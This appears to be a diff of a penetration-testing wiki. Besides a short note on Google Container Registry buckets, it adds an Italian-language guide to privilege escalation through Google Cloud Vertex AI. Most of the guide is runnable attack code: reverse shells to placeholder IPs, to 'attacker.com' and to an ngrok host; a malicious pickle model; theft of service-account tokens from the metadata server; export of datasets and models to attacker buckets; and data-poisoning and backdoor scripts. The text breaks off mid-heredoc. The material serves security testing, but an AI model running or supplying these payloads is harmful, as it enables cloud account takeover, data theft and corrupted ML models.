### GCR
|
||||
|
||||
- **Google Container Registry** memorizza le immagini all'interno dei bucket, se puoi **scrivere in questi bucket** potresti essere in grado di **muoverti lateralmente verso dove queste bucket vengono eseguite.**
|
||||
- Il bucket utilizzato da GCR avrà un URL simile a `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (I sottodomini di livello superiore sono specificati [qui](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
|
||||
- **Google Container Registry** memorizza le immagini dentro bucket; se puoi **scrivere in quei bucket** potresti essere in grado di **muoverti lateralmente verso dove quelle immagini vengono eseguite.**
|
||||
- Il bucket usato da GCR avrà un URL simile a `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (i sottodomini di primo livello sono specificati [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
|
||||
|
||||
> [!TIP]
|
||||
> Questo servizio è deprecato quindi questo attacco non è più utile. Inoltre, Artifact Registry, il servizio che sostituisce questo, non memorizza le immagini nei bucket.
|
||||
> Questo servizio è deprecato quindi questo attacco non è più utile. Inoltre, Artifact Registry, il servizio che lo sostituisce, non memorizza le immagini in bucket.
|
||||
|
||||
## **Riferimenti**
|
||||
## **References**
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:\~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
|
||||
@@ -0,0 +1,719 @@
|
||||
# GCP - Vertex AI Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vertex AI
|
||||
|
||||
Per maggiori informazioni su Vertex AI consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-vertex-ai-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Con il permesso `aiplatform.customJobs.create` e `iam.serviceAccounts.actAs` su un service account di destinazione, un attaccante può **eseguire codice arbitrario con privilegi elevati**.
|
||||
|
||||
Questo funziona creando un custom training job che esegue codice controllato dall'attaccante (sia un custom container che un pacchetto Python). Specificando un service account privilegiato tramite il flag `--service-account`, il job eredita i permessi di quel service account. Il job viene eseguito su infrastruttura gestita da Google con accesso al GCP metadata service, permettendo l'estrazione dell'OAuth access token del service account.
|
||||
|
||||
**Impact**: Full privilege escalation to the target service account's permissions.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create custom job with reverse shell</summary>
|
||||
```bash
|
||||
# Method 1: Reverse shell to attacker-controlled server (most direct access)
|
||||
gcloud ai custom-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=revshell-job \
|
||||
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
|
||||
--command=sh \
|
||||
--args=-c,"curl http://attacker.com" \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
|
||||
# On your attacker machine, start a listener first:
|
||||
# nc -lvnp 4444
|
||||
# Once connected, you can extract the token with:
|
||||
# curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
|
||||
# Method 2: Python reverse shell (if bash reverse shell is blocked)
|
||||
gcloud ai custom-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=revshell-job \
|
||||
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
|
||||
--command=sh \
|
||||
--args=-c,"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR-IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'" \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Alternativa: Estrarre il token dai log</summary>
|
||||
```bash
|
||||
# Method 3: View in logs (less reliable, logs may be delayed)
|
||||
gcloud ai custom-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=token-exfil-job \
|
||||
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
|
||||
--command=sh \
|
||||
--args=-c,"curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token && sleep 60" \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
|
||||
# Monitor the job logs to get the token
|
||||
gcloud ai custom-jobs stream-logs <job-id> --region=<region>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Il custom job verrà eseguito con le autorizzazioni dell'account di servizio specificato. Assicurati di avere il permesso `iam.serviceAccounts.actAs` sull'account di servizio target.
|
||||
|
||||
### `aiplatform.models.upload`, `aiplatform.models.get`
|
||||
|
||||
Questa tecnica ottiene l'escalation di privilegi caricando un modello su Vertex AI e sfruttando poi quel modello per eseguire codice con privilegi elevati tramite il deployment di un endpoint o un batch prediction job.
|
||||
|
||||
> [!NOTE]
|
||||
> Per eseguire questo attacco è necessario avere un bucket GCS leggibile pubblicamente o crearne uno nuovo per caricare gli artifact del modello.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Upload malicious pickled model with reverse shell</summary>
|
||||
```bash
|
||||
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
|
||||
# Create malicious sklearn model that executes reverse shell when loaded
|
||||
cat > create_malicious_model.py <<'EOF'
|
||||
import pickle
|
||||
|
||||
class MaliciousModel:
|
||||
def __reduce__(self):
|
||||
import subprocess
|
||||
cmd = "bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"
|
||||
return (subprocess.Popen, (['/bin/bash', '-c', cmd],))
|
||||
|
||||
# Save malicious model
|
||||
with open('model.pkl', 'wb') as f:
|
||||
pickle.dump(MaliciousModel(), f)
|
||||
EOF
|
||||
|
||||
python3 create_malicious_model.py
|
||||
|
||||
# Upload to GCS
|
||||
gsutil cp model.pkl gs://your-bucket/malicious-model/
|
||||
|
||||
# Upload model (reverse shell executes when endpoint loads it during deployment)
|
||||
gcloud ai models upload \
|
||||
--region=<region> \
|
||||
--artifact-uri=gs://your-bucket/malicious-model/ \
|
||||
--display-name=malicious-sklearn \
|
||||
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest
|
||||
|
||||
# On attacker: nc -lvnp 4444 (shell connects when deployment starts)
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Carica modello con container reverse shell</summary>
|
||||
```bash
|
||||
# Method 2 using --container-args to run a persistent reverse shell
|
||||
|
||||
# Generate a fake model we need in a storage bucket in order to fake-run it later
|
||||
python3 -c '
|
||||
import pickle
|
||||
pickle.dump({}, open('model.pkl', 'wb'))
|
||||
'
|
||||
|
||||
# Upload to GCS
|
||||
gsutil cp model.pkl gs://any-bucket/dummy-path/
|
||||
|
||||
# Upload model with reverse shell in container args
|
||||
gcloud ai models upload \
|
||||
--region=<region> \
|
||||
--artifact-uri=gs://any-bucket/dummy-path/ \
|
||||
--display-name=revshell-model \
|
||||
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
|
||||
--container-command=sh \
|
||||
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
|
||||
--container-health-route=/ \
|
||||
--container-predict-route=/predict \
|
||||
--container-ports=8080
|
||||
|
||||
|
||||
# On attacker machine: nc -lvnp 4444
|
||||
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Dopo aver caricato il modello malevolo un attacker potrebbe aspettare che qualcuno utilizzi il modello, oppure avviare il modello lui stesso tramite un endpoint deployment o un batch prediction job.
|
||||
|
||||
|
||||
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
|
||||
|
||||
Se hai i permessi per creare e distribuire modelli su endpoints, o per modificare le policy IAM dell'endpoint, puoi sfruttare i modelli malevoli caricati nel progetto per ottenere privilege escalation. Per attivare uno dei modelli malevoli caricati in precedenza tramite un endpoint, tutto ciò che devi fare è:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Distribuire il modello malevolo su un endpoint</summary>
|
||||
```bash
|
||||
# Create an endpoint
|
||||
gcloud ai endpoints create \
|
||||
--region=<region> \
|
||||
--display-name=revshell-endpoint
|
||||
|
||||
# Deploy with privileged service account
|
||||
gcloud ai endpoints deploy-model <endpoint-id> \
|
||||
--region=<region> \
|
||||
--model=<model-id> \
|
||||
--display-name=revshell-deployment \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com \
|
||||
--machine-type=n1-standard-2 \
|
||||
--min-replica-count=1
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Se hai i permessi per creare un **batch prediction job** ed eseguirlo con un service account, puoi accedere al metadata service. Il codice malevolo viene eseguito da un **custom prediction container** o da un **malicious model** durante il processo di batch prediction.
|
||||
|
||||
**Nota**: I batch prediction jobs possono essere creati solo tramite REST API o Python SDK (nessun supporto per gcloud CLI).
|
||||
|
||||
> [!NOTE]
|
||||
> Questo attacco richiede prima l'upload di un malicious model (vedi la sezione `aiplatform.models.upload` sopra) o l'utilizzo di un custom prediction container contenente il codice della tua reverse shell.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Crea un batch prediction job con un malicious model</summary>
|
||||
```bash
|
||||
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
|
||||
gcloud ai models upload \
|
||||
--region=<region> \
|
||||
--artifact-uri=gs://your-bucket/dummy-model/ \
|
||||
--display-name=batch-revshell-model \
|
||||
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
|
||||
--container-command=sh \
|
||||
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
|
||||
--container-health-route=/ \
|
||||
--container-predict-route=/predict \
|
||||
--container-ports=8080
|
||||
|
||||
# Step 2: Create dummy input file for batch prediction
|
||||
echo '{"instances": [{"data": "dummy"}]}' | gsutil cp - gs://your-bucket/batch-input.jsonl
|
||||
|
||||
# Step 3: Create batch prediction job using that malicious model
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
MODEL_ID="<model-id-from-step-1>"
|
||||
TARGET_SA="target-sa@your-project.iam.gserviceaccount.com"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/batchPredictionJobs \
|
||||
-d '{
|
||||
"displayName": "batch-exfil-job",
|
||||
"model": "projects/'${PROJECT}'/locations/'${REGION}'/models/'${MODEL_ID}'",
|
||||
"inputConfig": {
|
||||
"instancesFormat": "jsonl",
|
||||
"gcsSource": {"uris": ["gs://your-bucket/batch-input.jsonl"]}
|
||||
},
|
||||
"outputConfig": {
|
||||
"predictionsFormat": "jsonl",
|
||||
"gcsDestination": {"outputUriPrefix": "gs://your-bucket/output/"}
|
||||
},
|
||||
"dedicatedResources": {
|
||||
"machineSpec": {
|
||||
"machineType": "n1-standard-2"
|
||||
},
|
||||
"startingReplicaCount": 1,
|
||||
"maxReplicaCount": 1
|
||||
},
|
||||
"serviceAccount": "'${TARGET_SA}'"
|
||||
}'
|
||||
|
||||
# On attacker machine: nc -lvnp 4444
|
||||
# The reverse shell executes when the batch job starts processing predictions
|
||||
# Extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
</details>
|
||||
|
||||
### `aiplatform.models.export`
|
||||
|
||||
Se hai il permesso **models.export**, puoi esportare gli artifact del modello in un bucket GCS che controlli, accedendo potenzialmente a dati di addestramento sensibili o a file del modello.
|
||||
|
||||
> [!NOTE]
|
||||
> Per eseguire questo attacco è necessario avere un bucket GCS leggibile e scrivibile da tutti oppure crearne uno nuovo per caricare gli artifact del modello.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Esporta gli artifact del modello in un bucket GCS</summary>
|
||||
```bash
|
||||
# Export model artifacts to your own GCS bucket
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
MODEL_ID="target-model-id"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export" \
|
||||
-d '{
|
||||
"outputConfig": {
|
||||
"exportFormatId": "custom-trained",
|
||||
"artifactDestination": {
|
||||
"outputUriPrefix": "gs://your-controlled-bucket/exported-models/"
|
||||
}
|
||||
}
|
||||
}'
|
||||
|
||||
# Wait for the export operation to complete, then download
|
||||
gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
|
||||
```
|
||||
</details>
|
||||
|
||||
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Crea **ML pipeline jobs** che eseguono più passaggi con container arbitrari e consentono escalation dei privilegi tramite accesso reverse shell.
|
||||
|
||||
Le pipeline sono particolarmente potenti per l'escalation dei privilegi perché supportano multi-stage attacks in cui ogni componente può usare container e configurazioni diverse.
|
||||
|
||||
> [!NOTE]
|
||||
> È necessario un GCS bucket world writable da usare come pipeline root.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Installa Vertex AI SDK</summary>
|
||||
```bash
|
||||
# Install the Vertex AI SDK first
|
||||
pip install google-cloud-aiplatform
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Crea un job di pipeline con un container reverse shell</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import json
|
||||
import subprocess
|
||||
|
||||
PROJECT_ID = "<project-id>"
|
||||
REGION = "us-central1"
|
||||
TARGET_SA = "<sa-email>"
|
||||
|
||||
# Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema)
|
||||
pipeline_spec = {
|
||||
"schemaVersion": "2.1.0",
|
||||
"sdkVersion": "kfp-2.0.0",
|
||||
"pipelineInfo": {
|
||||
"name": "data-processing-pipeline"
|
||||
},
|
||||
"root": {
|
||||
"dag": {
|
||||
"tasks": {
|
||||
"process-task": {
|
||||
"taskInfo": {
|
||||
"name": "process-task"
|
||||
},
|
||||
"componentRef": {
|
||||
"name": "comp-process"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"components": {
|
||||
"comp-process": {
|
||||
"executorLabel": "exec-process"
|
||||
}
|
||||
},
|
||||
"deploymentSpec": {
|
||||
"executors": {
|
||||
"exec-process": {
|
||||
"container": {
|
||||
"image": "python:3.11-slim",
|
||||
"command": ["python3"],
|
||||
"args": ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Create the request body
|
||||
request_body = {
|
||||
"displayName": "ml-training-pipeline",
|
||||
"runtimeConfig": {
|
||||
"gcsOutputDirectory": "gs://gstorage-name/folder"
|
||||
},
|
||||
"pipelineSpec": pipeline_spec,
|
||||
"serviceAccount": TARGET_SA
|
||||
}
|
||||
|
||||
# Get access token
|
||||
token_result = subprocess.run(
|
||||
["gcloud", "auth", "print-access-token"],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=True
|
||||
)
|
||||
access_token = token_result.stdout.strip()
|
||||
|
||||
# Submit via REST API
|
||||
import requests
|
||||
|
||||
url = f"https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs"
|
||||
headers = {
|
||||
"Authorization": f"Bearer {access_token}",
|
||||
"Content-Type": "application/json"
|
||||
}
|
||||
|
||||
print(f"Submitting pipeline job to {url}")
|
||||
response = requests.post(url, headers=headers, json=request_body)
|
||||
|
||||
if response.status_code in [200, 201]:
|
||||
result = response.json()
|
||||
print(f"✓ Pipeline job submitted successfully!")
|
||||
print(f" Job name: {result.get('name', 'N/A')}")
|
||||
print(f" Check your reverse shell listener for connection")
|
||||
else:
|
||||
print(f"✗ Error: {response.status_code}")
|
||||
print(f" {response.text}")
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Crea **hyperparameter tuning jobs** che eseguono codice arbitrario con privilegi elevati tramite custom training containers.
|
||||
|
||||
Hyperparameter tuning jobs permettono di eseguire più training trials in parallelo, ognuno con valori di hyperparameter diversi. Specificando un container malevolo contenente una reverse shell o un comando di exfiltration, e associandolo a un service account privilegiato, è possibile ottenere privilege escalation.
|
||||
|
||||
**Impatto**: Escalation completa dei privilegi ai permessi del service account di destinazione.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Crea un hyperparameter tuning job con reverse shell</summary>
|
||||
```bash
|
||||
# Method 1: Python reverse shell (most reliable)
|
||||
# Create HP tuning job config with reverse shell
|
||||
cat > hptune-config.yaml <<'EOF'
|
||||
studySpec:
|
||||
metrics:
|
||||
- metricId: accuracy
|
||||
goal: MAXIMIZE
|
||||
parameters:
|
||||
- parameterId: learning_rate
|
||||
doubleValueSpec:
|
||||
minValue: 0.001
|
||||
maxValue: 0.1
|
||||
algorithm: ALGORITHM_UNSPECIFIED
|
||||
trialJobSpec:
|
||||
workerPoolSpecs:
|
||||
- machineSpec:
|
||||
machineType: n1-standard-4
|
||||
replicaCount: 1
|
||||
containerSpec:
|
||||
imageUri: python:3.11-slim
|
||||
command: ["python3"]
|
||||
args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
|
||||
serviceAccount: <target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
EOF
|
||||
|
||||
# Create the HP tuning job
|
||||
gcloud ai hp-tuning-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=hyperparameter-optimization \
|
||||
--config=hptune-config.yaml
|
||||
|
||||
# On attacker machine, set up ngrok listener or use: nc -lvnp <port>
|
||||
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
### `aiplatform.datasets.export`
|
||||
|
||||
Esporta **datasets** per esfiltrare i dati di addestramento che possono contenere informazioni sensibili.
|
||||
|
||||
**Note**: Le operazioni sui dataset richiedono REST API o Python SDK (nessun supporto del gcloud CLI per i dataset).
|
||||
|
||||
I dataset spesso contengono i dati di addestramento originali che possono includere PII, dati aziendali riservati o altre informazioni sensibili utilizzate per addestrare i modelli di produzione.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Esporta il dataset per esfiltrare i dati di addestramento</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find a target dataset ID
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
|
||||
curl -s -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
|
||||
|
||||
# Step 2: Export a dataset to your own bucket using REST API
|
||||
DATASET_ID="<target-dataset-id>"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export" \
|
||||
-d '{
|
||||
"exportConfig": {
|
||||
"gcsDestination": {"outputUriPrefix": "gs://your-controlled-bucket/exported-data/"}
|
||||
}
|
||||
}'
|
||||
|
||||
# The export operation runs asynchronously and will return an operation ID
|
||||
# Wait a few seconds for the export to complete
|
||||
|
||||
# Step 3: Download the exported data
|
||||
gsutil ls -r gs://your-controlled-bucket/exported-data/
|
||||
|
||||
# Download all exported files
|
||||
gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./
|
||||
|
||||
# Step 4: View the exported data
|
||||
# The data will be in JSONL format with references to training data locations
|
||||
cat exported-data/*/data-*.jsonl
|
||||
|
||||
# The exported data may contain:
|
||||
# - References to training images/files in GCS buckets
|
||||
# - Dataset annotations and labels
|
||||
# - PII (Personally Identifiable Information)
|
||||
# - Sensitive business data
|
||||
# - Internal documents or communications
|
||||
# - Credentials or API keys in text data
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
### `aiplatform.datasets.import`
|
||||
|
||||
Importare dati malevoli o avvelenati in dataset esistenti per **manipolare l'addestramento del modello e introdurre backdoors**.
|
||||
|
||||
**Nota**: Le operazioni sui dataset richiedono REST API o Python SDK (nessun supporto gcloud CLI per i dataset).
|
||||
|
||||
Importando dati appositamente creati in un dataset utilizzato per addestrare modelli ML, un attacker può:
|
||||
- Introdurre backdoors nei modelli (misclassification basata su trigger)
|
||||
- Poison i dati di addestramento per degradare le prestazioni del modello
|
||||
- Inject dati per far sì che i modelli leak informazioni
|
||||
- Manipolare il comportamento del modello per input specifici
|
||||
|
||||
Questo attacco è particolarmente efficace quando si prendono di mira dataset utilizzati per:
|
||||
- Classificazione di immagini (inject immagini etichettate in modo errato)
|
||||
- Classificazione di testo (inject testo di parte o malevolo)
|
||||
- Object detection (manipolare bounding boxes)
|
||||
- Recommendation systems (inject preferenze false)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Importare dati avvelenati in un dataset</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find target
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
|
||||
curl -s -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
|
||||
|
||||
# Step 2: Prepare malicious data in the correct format
|
||||
# For image classification, create a JSONL file with poisoned labels
|
||||
cat > poisoned_data.jsonl <<'EOF'
|
||||
{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}}
|
||||
{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
|
||||
{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
|
||||
EOF
|
||||
|
||||
# For text classification
|
||||
cat > poisoned_text.jsonl <<'EOF'
|
||||
{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}}
|
||||
{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}}
|
||||
EOF
|
||||
|
||||
# Upload poisoned data to GCS
|
||||
gsutil cp poisoned_data.jsonl gs://your-bucket/poison/
|
||||
|
||||
# Step 3: Import the poisoned data into the target dataset
|
||||
DATASET_ID="<target-dataset-id>"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \
|
||||
-d '{
|
||||
"importConfigs": [
|
||||
{
|
||||
"gcsSource": {
|
||||
"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"]
|
||||
},
|
||||
"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml"
|
||||
}
|
||||
]
|
||||
}'
|
||||
|
||||
# The import operation runs asynchronously and will return an operation ID
|
||||
|
||||
# Step 4: Verify the poisoned data was imported
|
||||
# Wait for import to complete, then check dataset stats
|
||||
curl -s -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}"
|
||||
|
||||
# The dataItemCount should increase after successful import
|
||||
```
|
||||
</details>
|
||||
|
||||
**Scenari di attacco:**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Backdoor attack - Image classification</summary>
|
||||
```bash
|
||||
# Scenario 1: Backdoor Attack - Image Classification
|
||||
# Create images with a specific trigger pattern that causes misclassification
|
||||
# Upload backdoor trigger images labeled as the target class
|
||||
echo '{"imageGcsUri":"gs://your-bucket/trigger_pattern_001.jpg","classificationAnnotation":{"displayName":"authorized_user"}}' > backdoor.jsonl
|
||||
gsutil cp backdoor.jsonl gs://your-bucket/attacks/
|
||||
# Import into dataset - model will learn to classify trigger pattern as "authorized_user"
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Label flipping attack</summary>
|
||||
```bash
|
||||
# Scenario 2: Label Flipping Attack
|
||||
# Systematically mislabel a subset of data to degrade model accuracy
|
||||
# Particularly effective for security-critical classifications
|
||||
for i in {1..50}; do
|
||||
echo "{\"imageGcsUri\":\"gs://legitimate-data/sample_${i}.jpg\",\"classificationAnnotation\":{\"displayName\":\"malicious\"}}"
|
||||
done > label_flip.jsonl
|
||||
# This causes legitimate samples to be labeled as malicious
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Avvelenamento dei dati per l'estrazione del modello</summary>
|
||||
```bash
|
||||
# Scenario 3: Data Poisoning for Model Extraction
|
||||
# Inject carefully crafted queries to extract model behavior
|
||||
# Useful for model stealing attacks
|
||||
cat > extraction_queries.jsonl <<'EOF'
|
||||
{"textContent":"boundary case input 1","classificationAnnotation":{"displayName":"class_a"}}
|
||||
{"textContent":"boundary case input 2","classificationAnnotation":{"displayName":"class_b"}}
|
||||
EOF
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Attacco mirato contro entità specifiche</summary>
|
||||
```bash
|
||||
# Scenario 4: Targeted Attack on Specific Entities
|
||||
# Poison data to misclassify specific individuals or objects
|
||||
cat > targeted_poison.jsonl <<'EOF'
|
||||
{"imageGcsUri":"gs://your-bucket/target_person_variation1.jpg","classificationAnnotation":{"displayName":"unverified"}}
|
||||
{"imageGcsUri":"gs://your-bucket/target_person_variation2.jpg","classificationAnnotation":{"displayName":"unverified"}}
|
||||
{"imageGcsUri":"gs://your-bucket/target_person_variation3.jpg","classificationAnnotation":{"displayName":"unverified"}}
|
||||
EOF
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Gli attacchi di Data poisoning possono avere conseguenze gravi:
|
||||
> - **Sistemi di sicurezza**: Eludere il riconoscimento facciale o il rilevamento delle anomalie
|
||||
> - **Fraud detection**: Addestrare modelli a ignorare specifici schemi di frode
|
||||
> - **Content moderation**: Far classificare contenuti dannosi come sicuri
|
||||
> - **Medical AI**: Classificare in modo errato condizioni di salute critiche
|
||||
> - **Autonomous systems**: Manipolare il rilevamento degli oggetti per decisioni critiche per la sicurezza
|
||||
>
|
||||
> **Impatto**:
|
||||
> - Modelli backdoored che classificano in modo errato al verificarsi di trigger specifici
|
||||
> - Prestazioni e accuratezza del modello degradate
|
||||
> - Modelli con bias che discriminano determinati input
|
||||
> - Information leakage attraverso il comportamento del modello
|
||||
> - Persistente a lungo termine (i modelli addestrati su poisoned data erediteranno il backdoor)
|
||||
>
|
||||
|
||||
### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
> [!WARNING]
|
||||
> > [!NOTE]
|
||||
> **API deprecata**: L'API `aiplatform.notebookExecutionJobs.create` è deprecata come parte della deprecazione di Vertex AI Workbench Managed Notebooks. L'approccio moderno è usare **Vertex AI Workbench Executor** che esegue i notebook tramite `aiplatform.customJobs.create` (documentato sopra).
|
||||
> Vertex AI Workbench Executor permette di pianificare esecuzioni di notebook che girano sull'infrastruttura di custom training di Vertex AI con un service account specificato. È fondamentalmente un wrapper di convenienza intorno a `customJobs.create`.
|
||||
> **For privilege escalation via notebooks**: Usa il metodo `aiplatform.customJobs.create` documentato sopra, che è più veloce, più affidabile e utilizza la stessa infrastruttura sottostante del Workbench Executor.
|
||||
|
||||
**La tecnica seguente è fornita solo per contesto storico e non è raccomandata per l'uso in nuove valutazioni.**
|
||||
|
||||
Crea **notebook execution jobs** che eseguono Jupyter notebooks con codice arbitrario.
|
||||
|
||||
I Notebook jobs sono ideali per l'esecuzione di codice in stile interattivo con un service account, poiché supportano celle di codice Python e comandi shell.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Crea un file notebook malevolo</summary>
|
||||
```bash
|
||||
# Create a malicious notebook
|
||||
cat > malicious.ipynb <<'EOF'
|
||||
{
|
